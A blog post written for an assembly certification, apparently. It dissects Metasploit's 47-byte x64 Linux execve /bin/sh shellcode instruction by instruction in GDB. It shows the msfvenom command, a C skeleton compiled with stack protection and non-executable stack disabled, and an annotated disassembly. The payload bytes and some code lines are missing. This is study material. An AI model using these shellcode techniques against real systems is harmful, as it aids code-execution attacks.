X64 Linux Metasploit execve /bin/sh Shellcode Analysis

Aug 4, 2018 | 5 minutes read

Tags: assembly, slae-64, shellcode

This and two other posts will make up the fifth of seven assignments that will comprise my attempt at the SecurityTube Linux Assembly Expert (SLAE-64) certification. Each post will correspond to seven assignments of varying difficulty. I decided to take SLAE-64 to shore up my knowledge of assembly and shellcoding before diving in to OSCE.

Assignment #5 Requirements (Part 2)

  • Choose any three 64-bit shellcode samples created using msfvenom
  • Use a debugger to dissect the functionality of the shellcode
  • Document the analysis

I chose this particular piece of shellcode for two reasons. First, similar to my first selection, I hope to learn ways to improve my own assembly. Second, there’s not a large selection to choose from in the 64 bit arena.

Generate the Shellcode Sample

We’ll start this analysis out in the same way we did the first. First up, we need some shellcode to work with inside of our testing skeleton.

 * msfvenom -p linux/x64/exec -f c CMD=/bin/sh
 * No platform was selected, choosing Msf::Module::Platform::Linux from the payload
 * No arch selected, selecting arch: x64 from the payload
 * No encoder or badchars specified, outputting raw payload
 * Payload size: 47 bytes
 * Final size of c file: 224 bytes
unsigned char buf[] =

We then add the shellcode generated above to the skeleton.

// gcc -fno-stack-protector -z execstack -o shellcode-skeleton shellcode-skeleton.c
#include <stdio.h>
#include <string.h>

unsigned char code[] = \

int main() {
  printf("Shellcode length: %zu\n", strlen(code));
  int (*ret)() = (int(*)())code;

Finally, we compile and run with GDB.

┌(epi@main)─(05:41 AM Thu Aug 02)
└─(assignment-five)─> gcc -o shellcode-skeleton shellcode-skeleton.c -fno-stack-protector -z execstack

┌(epi@main)─(05:41 AM Thu Aug 02)
└─(assignment-five)─> gdb ./shellcode-skeleton

Forecasting the Shellcode

The shellcode we’re examining uses /bin/sh -c to execute any command specified by the CMD option. Knowing that, we can try to anticipate what we expect to see the shellcode doing.

int execve(const char *filename, char *const argv[], char *const envp[]);

 * filename -> a binary executable
 * argv -> an array of argument strings passed to the new program
 * envp is an array of strings (key=value pairs) and is passed as the new program's environment

By looking at the execve syscall, we can make a reasonable assumption that the syscall should closely resemble

execve("/bin/sh\0", ["-c", "/bin/sh"], \0);

The call above should translate to what’s seen below as far the assembly.

rax -> syscall number for execve
rdi -> /bin/sh
rsi -> location of -c and /bin/sh
rdx -> 0x0

The Disassembled Code

Before we jump into sectional analysis, here is the complete disassembly.

0x555555755020:	push   0x3b
0x555555755022:	pop    rax
0x555555755023:	cdq
0x555555755024:	movabs rbx,0x68732f6e69622f
0x55555575502e:	push   rbx
0x55555575502f:	mov    rdi,rsp
0x555555755032:	push   0x632d
0x555555755037:	mov    rsi,rsp
0x55555575503a:	push   rdx
0x55555575503b:	call   0x555555755048
0x555555755040:	(bad)
0x555555755041:	(bad)
0x555555755042:	imul   ebp,DWORD PTR [rsi+0x2f],0x56006873
0x555555755049:	push   rdi
0x55555575504a:	mov    rsi,rsp
0x55555575504d:	syscall
0x55555575504f:	add    BYTE PTR [rax],al

Section One

These sections are broken up arbitrarily. I really just wanted to step through in little chunks and have broken up the assembly in a way that seems logical to me.

In this section, we’re really dealing with the first two pieces of the syscall being put into place. rax contains the syscall number to be called, and rdi contains /bin/sh.

0x555555755020:	push   0x3b                                   ; 59 -> execve syscall number
0x555555755022:	pop    rax                                    ; store 59 in rax
0x555555755023:	cdq                                           ; zero out rdx via sign extension
0x555555755024:	movabs rbx,0x68732f6e69622f                   ; /bin/sh into rbx
0x55555575502e:	push   rbx                                    ; push /bin/sh onto the stack
0x55555575502f:	mov    rdi,rsp                                ; pointer to /bin/sh in rdi


Section Two

I intentionally cut this section short to allow the next section to stand on its own. All that really happens here is that we gain a pointer to the string -c into rsi.

0x555555755032:	push   0x632d                                 ; push -c onto the stack
0x555555755037:	mov    rsi,rsp                                ; pointer to -c in rsi
0x55555575503a:	push   rdx                                    ; push 0 onto the stack

Section Three

This part is pretty interesting because of the way that the second /bin/sh is broken up and integrated into the syscall.

0x55555575503b:	call   0x555555755048                         ; pushes addr of /bin/sh onto the stack && jumps to the location directly after /bin/sh
0x555555755040:	(bad)                                         ; 0x2f -> /
0x555555755041:	(bad)                                         ; 0x62 -> b
0x555555755042:	imul   ebp,DWORD PTR [rsi+0x2f],0x56006873    ; 0x69,x6e,0x2f,0x73,0x68,0x00 -> in/sh

; 0x555555755048: push   rsi                                    ; push pointer to -c onto the stack

To actually figure out what was going on, I had to poke around in GDB and inspect the bytes between the jmp call and its destination.


As usual, python was there to assist me in determining what these bytes translated to.


In the assembly above, I have a comment that shows the push rsi instruction. If you look above when we inspected the address 0x555555755048, you can see 0x56. I used nasmshell to figure out what that instruction was and then included it as a comment, since you don’t actually see it in the disassembly.



All of that leaves us with the registers and stack setup as seen below.


Section Four

This is the final bit of the shellcode. All it really does is lines up the /bin/sh and -c on the stack, store it in rsi and make the syscall. I’m not entirely sure about the final instruction, since it never gets executed. My guess is that it’s just additional padding.

0x555555755049:	push   rdi                                    ; push pointer to /bin/sh onto the stack
0x55555575504a:	mov    rsi,rsp                                ; rsi points to top of stack
0x55555575504d:	syscall                                       ; do the thing
0x55555575504f:	add    BYTE PTR [rax],al                      ; padding?

Here are the registers before the syscall is made. section-four-registers


As you can see, our forecast worked out pretty well. The resulting syscall gives us a shell on the system. finalshell

comments powered by Disqus